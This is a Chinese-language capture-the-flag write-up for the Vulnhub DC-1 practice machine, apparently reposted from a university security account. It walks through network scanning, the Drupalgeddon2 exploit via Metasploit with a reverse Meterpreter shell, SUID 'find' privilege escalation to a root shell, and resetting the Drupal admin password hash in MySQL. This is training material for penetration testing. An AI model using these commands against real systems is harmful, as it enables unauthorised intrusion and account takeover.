Vulnhub DC-1 WriteUp

admin 2021年5月6日16:00:50评论160 views字数 3099阅读10分19秒阅读模式
Vulnhub DC-1 WriteUp

  • 前言

  • 攻击过程

    • 信息收集

    • 开始攻击

    • 权限提升

    • 获取机密文件(flag)

  • Ending......


前言

  • 靶场链接:https://www.vulnhub.com/entry/dc-1,292/

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

攻击过程

信息收集

首先使用 Nmap 对整个网络中的存活主机进行扫描:

nmap -sV -F -sT 192.168.43.1/24
Vulnhub DC-1 WriteUp
image-20210505004426789

其实这里由于靶机和我的攻击机位于一个局域网,所以如果你觉得 Nmap 慢的话直接使用 Kali 中的 arp-scan 进行扫描就行了:

arp-scan --interface=eth0 192.168.43.0/24
Vulnhub DC-1 WriteUp
image-20210505004543534

可以看到网络中存在一个 192.168.43.14,开启了 22、80 和 111 三个端口。先访问 80 端口,发现是个 Drupal:

Drupal 是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成.

Vulnhub DC-1 WriteUp
image-20210505004944951

使用 Whatweb 探测发现其版本为 Drupal 7:

Vulnhub DC-1 WriteUp
image-20210505005519744

该版本的 Drupal 存在一个代码执行漏洞(CVE-2018-7600)。

开始攻击

为了方便,我们直接使用 Metasploit 中的攻击模块:

Vulnhub DC-1 WriteUp
image-20210505010822637
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.43.14
set payload php/meterpreter/reverse_tcp    # 对 Web 端的攻击只能用其脚本语言来反弹 Meterpreter
set lhost 192.168.43.247
set lport 4444
exploit
Vulnhub DC-1 WriteUp
image-20210505011114479

如上图所示,攻击成功,但是当前权限为 www 用户,需要提权。

权限提升

首先尝试使用脏牛提权失败,然后我们考虑 Suid 提权。首先执行以下命令查找系统上运行的所有 SUID 可执行文件:

meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"    # 获取模拟终端
find / -perm -u=s -type f 2>/dev/null
Vulnhub DC-1 WriteUp
image-20210505013001361

发现一个 find 命令,网上 Suid 提权的教程基本都是根据 find 进行介绍的,这里利用起来也很简单:

/usr/bin/find /var/www/robots.txt -exec whoami ;
Vulnhub DC-1 WriteUp
image-20210505013315783

如上图所示,利用 find 的 Suid 成功获取 root 权限。然后我们便可以直接获取一个 root 权限的 sh:

/usr/bin/find /var/www/robots.txt -exec /bin/sh 0>&1 ;
Vulnhub DC-1 WriteUp
image-20210505014824262

不知道为什么这里用 /bin/bash 的话就不行。

获取机密文件(flag)

拿到 root 权限后直接寻找搜索 flag。

首先在 Web 目录找到 flag1.txt:

Vulnhub DC-1 WriteUp
image-20210505015529312

然后查看 Drupal 的数据库配置文件 sites/default/settings.php,在配置文件中发现了 flag2:

Vulnhub DC-1 WriteUp
image-20210505015721455

并且在配置文件中获得了其 MySQL 数据库的登录凭据:

Vulnhub DC-1 WriteUp
image-20210505015758379

那么我们可以进入数据库,找到 Drupal 后台管理员的登录凭证登录 Drupal 后台。

直接连接 MySQL 数据库:

mysql -udbuser -pR0ck3t
Vulnhub DC-1 WriteUp
image-20210505020004424

最终在 drupaldb 库的 users 表中发现了 admin 用户的哈希:

Vulnhub DC-1 WriteUp
image-20210505020316511

这里的加密是用了该 CMS 特有的 Hash 算法,在 scripts 目录中有一个用来算密码的脚本 password-hash.sh,思路为用该文件生成自己的密码 Hash 值,然后替换掉数据库中的 Hash。但是这里因为靶机的环境原因会报错,网上找了下还是直接用别人算好的 Hash 进行替换吧:

明文:password
哈希:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

接下来我们把管理员 admin 的密码重置就行了:

update users set pass= '$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
Vulnhub DC-1 WriteUp
image-20210505021227487

登录成功并在 Dashboard 中发现了 flag3:

Vulnhub DC-1 WriteUp
image-20210505021333794

最后,分别在 /home 目录和 /root 目录中发现了 flag4 和 flag5:

Vulnhub DC-1 WriteUp
image-20210505021604509

Ending......

本文始发于微信公众号(山警网络空间安全与电子数据取证):Vulnhub DC-1 WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月6日16:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub DC-1 WriteUphttp://cn-sec.com/archives/366652.html

发表评论

匿名网友 填写信息